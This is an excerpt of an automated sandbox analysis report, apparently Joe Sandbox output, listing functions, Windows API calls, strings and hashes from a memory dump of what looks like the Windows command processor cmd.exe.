Part of subcall function 00007FF718D50580: GetConsoleMode.KERNELBASE ref: 00007FF718D505C5
Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D505EF
Part of subcall function 00007FF718D50580: GetConsoleMode.KERNELBASE ref: 00007FF718D50605
Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D50632
Part of subcall function 00007FF718D50580: SetConsoleMode.KERNELBASE ref: 00007FF718D50647

Part of subcall function 00007FF718D54A14: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A28
Part of subcall function 00007FF718D54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A66
Part of subcall function 00007FF718D54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A7D
Part of subcall function 00007FF718D54A14: memmove.MSVCRT(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A9A
Part of subcall function 00007FF718D54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54AA2

Part of subcall function 00007FF718D54AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AD6
Part of subcall function 00007FF718D54AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AEF

Part of subcall function 00007FF718D55554: RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF718D54E35), ref: 00007FF718D555DA
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D55623
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D55667
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D556BE
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D55702

GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54E35
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54E81
GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54F69
GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54F95
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FB0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FC1
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FD8
GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FF8
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D55037
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D5504B
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D550DF
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D550F2
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D5510F
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D55130
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D5514A
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D55175

Part of subcall function 00007FF718D53578: _get_osfhandle.MSVCRT ref: 00007FF718D53584
Part of subcall function 00007FF718D53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
Part of subcall function 00007FF718D53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
Part of subcall function 00007FF718D53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
Part of subcall function 00007FF718D53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
Part of subcall function 00007FF718D53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

Strings

IsDebuggerPresent, xrefs: 00007FF718D55122
CopyFileExW, xrefs: 00007FF718D55108
KERNEL32.DLL, xrefs: 00007FF718D550EB
SetConsoleInputExeNameW, xrefs: 00007FF718D55143

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Mode_get_osfhandle$Heap$QueryValue$AddressAllocHandleProcProcess$CommandCriticalEnvironmentFreeInfoLineLockSectionSharedStrings$AcquireBufferCtrlDirectoryEnterFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenTitleTypeWindowsfreememmove
String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
API String ID: 1049357271-3021193919
Opcode ID: bf394d30a17139001fd3ca4171d3fdfeea46f289a8fe0fe81f1b572c7d274a87
Instruction ID: bbe90bd8c78fd4c7fe8e6d92604338f93252f1983bf6e026e76d0992b7e6061b
Opcode Fuzzy Hash: bf394d30a17139001fd3ca4171d3fdfeea46f289a8fe0fe81f1b572c7d274a87
Instruction Fuzzy Hash: EBC15D61A08F4A86EB05BB11A851179F6B1FF8DBB4FC48235D98E43795DF3CA44D8328

Function 00007FF718D53C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D53D0C
towupper.MSVCRT ref: 00007FF718D53D2F
iswalpha.MSVCRT ref: 00007FF718D53D4F
towupper.MSVCRT ref: 00007FF718D53D75
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53DBF
GetFileAttributesW.KERNELBASE ref: 00007FF718D53E7E
GetFileAttributesW.KERNELBASE ref: 00007FF718D53EE9
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D53F32
_local_unwind.MSVCRT ref: 00007FF718D54062
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D54067
_local_unwind.MSVCRT ref: 00007FF718D54098
_local_unwind.MSVCRT ref: 00007FF718D540B3
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D540B8
_local_unwind.MSVCRT ref: 00007FF718D540DE
_local_unwind.MSVCRT ref: 00007FF718D540F9
_local_unwind.MSVCRT ref: 00007FF718D54114

Strings

:, xrefs: 00007FF718D53D89

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
String ID: :
API String ID: 1809961153-336475711
Opcode ID: 9a6838553337d10caea9482eb8d4b87fb6c3f53a5735761c353ac2a4c5941523
Instruction ID: 16c68941097148f4859e30e19119dce06b363c8a5774dc3edc17895876dc76d8
Opcode Fuzzy Hash: 9a6838553337d10caea9482eb8d4b87fb6c3f53a5735761c353ac2a4c5941523
Instruction Fuzzy Hash: 19D15F6260CF8981EB24AB15E4552BAF7B1FB89760F844236DA8E437A4DF3CE54CC714

Function 00007FF718D52394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D523F1

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D52438

Part of subcall function 00007FF718D5081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D5084E

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D524DD
wcschr.MSVCRT ref: 00007FF718D5E12A
_wcsupr.MSVCRT ref: 00007FF718D5E146

Strings

PROMPT, xrefs: 00007FF718D5246E, 00007FF718D5251D
KEYS, xrefs: 00007FF718D52498
COMSPEC, xrefs: 00007FF718D52483, 00007FF718D5E28B
PATH, xrefs: 00007FF718D52444, 00007FF718D5E0E2
$P$G, xrefs: 00007FF718D52516
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF718D5E0F4
\CMD.EXE, xrefs: 00007FF718D5E22A
PATHEXT, xrefs: 00007FF718D52459, 00007FF718D5E0FB

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$EnvironmentFileModuleNameVariable_wcsuprwcschr
String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
API String ID: 2622545777-4197029667
Opcode ID: 9e052dd8a569df61deb78e5422594237265ab7758b060a59aba3d98d3c4be830
Instruction ID: 09d390c02a9ce2b8f079c5455b2ced51ab0abd1dd628dace76babded7e3864a0
Opcode Fuzzy Hash: 9e052dd8a569df61deb78e5422594237265ab7758b060a59aba3d98d3c4be830
Instruction Fuzzy Hash: D1914C61A09F8A85EF25BB10D8505B9E3B1BF4CBA4FC48236C98E47695DE3CE50C8324

Function 00007FF718D50580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D50589
SetConsoleMode.KERNELBASE ref: 00007FF718D5059E
_get_osfhandle.MSVCRT ref: 00007FF718D505AF
GetConsoleMode.KERNELBASE ref: 00007FF718D505C5
_get_osfhandle.MSVCRT ref: 00007FF718D505EF
GetConsoleMode.KERNELBASE ref: 00007FF718D50605
_get_osfhandle.MSVCRT ref: 00007FF718D50632
SetConsoleMode.KERNELBASE ref: 00007FF718D50647
_get_osfhandle.MSVCRT ref: 00007FF718D50684
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D50699
_get_osfhandle.MSVCRT ref: 00007FF718D5D891
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D5D8A6

Strings

CMD.EXE, xrefs: 00007FF718D5065F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID: CMD.EXE
API String ID: 1606018815-3025314500
Opcode ID: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
Instruction ID: 26f1c0749396bdd1615f345a6cdda60f82e76e23410354b7f165d45a27f474b6
Opcode Fuzzy Hash: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
Instruction Fuzzy Hash: C741D531A09F168BE718BB24E856578F7A0BB8E775FC84175C99E43350DF3CA40C8629

Function 00007FF718D4C620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleTitleW.KERNELBASE ref: 00007FF718D4C65E
wcschr.MSVCRT ref: 00007FF718D4C792

Strings

/, xrefs: 00007FF718D4CA1B
:, xrefs: 00007FF718D4C9E2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleTitlewcschr
String ID: /$:
API String ID: 2364928044-4222935259
Opcode ID: 18b5fc1b2ec7561f4a1e071935b117a16da6c033c327c323cb9fcfc49729d23f
Instruction ID: f5897a2460a5fda66329b52555a8555ac64d56fe15eb757648239965e7b04f29
Opcode Fuzzy Hash: 18b5fc1b2ec7561f4a1e071935b117a16da6c033c327c323cb9fcfc49729d23f
Instruction Fuzzy Hash: 30C19D61A08F4A81EB24BB1594452B9E2F0EF59BB4FC84271D99E476E5DF3CE44CC328

Function 00007FF718D47AA0 Relevance: 15.2, APIs: 10, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D47B13
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D47B5F
CreateDirectoryW.KERNELBASE ref: 00007FF718D47B83
free.MSVCRT ref: 00007FF718D47BA9

Part of subcall function 00007FF718D5291C: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5294A

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CreateDirectoryDriveFullNamePathTypefreememset
String ID:
API String ID: 1445986735-0
Opcode ID: fe82e3eae3579b7f0e88292875d89759f9dd0f662728a8192ad32f6f8a3809eb
Instruction ID: 063d474c2508422dbf452949602a28def1a7605e280948bf922f0d6ae63115a6
Opcode Fuzzy Hash: fe82e3eae3579b7f0e88292875d89759f9dd0f662728a8192ad32f6f8a3809eb
Instruction Fuzzy Hash: 04916132B08F9986EB64AB1194406B9F3B1FB4CBA4F858136DA8D07B94DF3CD54C8725

Function 00007FF718D58D80 Relevance: 9.1, APIs: 6, Instructions: 95
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF718D58DC4
_amsg_exit.MSVCRT ref: 00007FF718D58DE0
_initterm.MSVCRT ref: 00007FF718D58E64
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF718D58E91
exit.MSVCRT ref: 00007FF718D58EDE
_cexit.MSVCRT ref: 00007FF718D58EED

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
String ID:
API String ID: 4291973834-0
Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction ID: 1189ae2a5ae61fa3b7cca3c7ac9d0b98648099412c25f26f9ba842c4fed01512
Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction Fuzzy Hash: 6441EC21A08F0A86F750BB10E842236E2B0AF4C378FD40536D99D976A4DF7DE94CC768

Function 00007FF718D4CA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D4CAB3
??_V@YAXPEAX@Z.MSVCRT(?,?,?,00007FF718D4139E), ref: 00007FF718D5C706

Strings

onecore\base\cmd\maxpathawarestring.cpp, xrefs: 00007FF718D5C6E5

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset
String ID: onecore\base\cmd\maxpathawarestring.cpp
API String ID: 2221118986-3416068913
Opcode ID: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
Instruction ID: 235ea427dc6a2ed7764fe92438c5b636eee05c1da4cbacbab64aaf3232b21c47
Opcode Fuzzy Hash: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
Instruction Fuzzy Hash: 7C11CA21A08F4A81EB54EB16A145279D2A09F4CBB4F984331DEAD477D5DD3CD04C4328

Function 00007FF718D4BE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D4BE52

Part of subcall function 00007FF718D4BFF0: wcschr.MSVCRT(00000001,00000000,?,00007FF718D4BEC8), ref: 00007FF718D4C03E

Strings

COMSPEC, xrefs: 00007FF718D4BFC7
2, xrefs: 00007FF718D4BF20

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memsetwcschr
String ID: 2$COMSPEC
API String ID: 1764819092-1738800741
Opcode ID: 67b7d9532635b88408f7fdf8ce2ffd15aa8064fbcc0e84cfd1dfe15bdfd98c80
Instruction ID: 51825dd42125d073f38c48f7fb102c5c9c6e547a97519fa681ad4d2599864562
Opcode Fuzzy Hash: 67b7d9532635b88408f7fdf8ce2ffd15aa8064fbcc0e84cfd1dfe15bdfd98c80
Instruction Fuzzy Hash: 0C51C031A08F4A45FB70BB619441379E2A49FAD7A4FCC4071DACD42AD6DE2CE84C8768

Function 00007FF718D59A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF718D59A86
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF718D59A97

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmalloc
String ID:
API String ID: 1412018758-0
Opcode ID: 738c8df77e10b4e497db5d3a2d7ddec6b27d778605f8f6b2fdfcc597a874d2dd
Instruction ID: 9e08a03e03070ecb77d2cb7a2b6665314c1a04c152d55f1a04b591c84d755fa0
Opcode Fuzzy Hash: 738c8df77e10b4e497db5d3a2d7ddec6b27d778605f8f6b2fdfcc597a874d2dd
Instruction Fuzzy Hash: B1E0C941E59B1FA1FB193B627842178D2745F5E764E982531DD9D05382EE2CA09D8238

Function 00007FF718D4CD90 Relevance: 2.5, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction ID: 033659daa3aaa5e98109d821e65aae6ce5d3d0c1a1987554e33ccd3c4adf234f
Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction Fuzzy Hash: 74F04B31A18B4686EB08AB05E841168FBB0FB9DB20BD89135D98A03354DF3CE44D8718

Function 00007FF718D54C1C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

exit.MSVCRT(?,?,00000000,00007FF718D61209), ref: 00007FF718D54C31

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: exit
String ID:
API String ID: 2483651598-0
Opcode ID: 9ddfc09aa9d90f0088fd16abda3ebe38fb5bbbe8bdae055d7e84e31eac367ca0
Instruction ID: 363da56883751ff70acbec2ed3db043b7fb5537c26ed47cc3a06a0f76e9767ef
Opcode Fuzzy Hash: 9ddfc09aa9d90f0088fd16abda3ebe38fb5bbbe8bdae055d7e84e31eac367ca0
Instruction Fuzzy Hash: C1C01270708B4A47EB1C773164A1079D5755B4C211F845539C68681281DD28D40C8219

Function 00007FF718D55508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNELBASE(?,?,?,?,00007FF718D46F97), ref: 00007FF718D5550C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

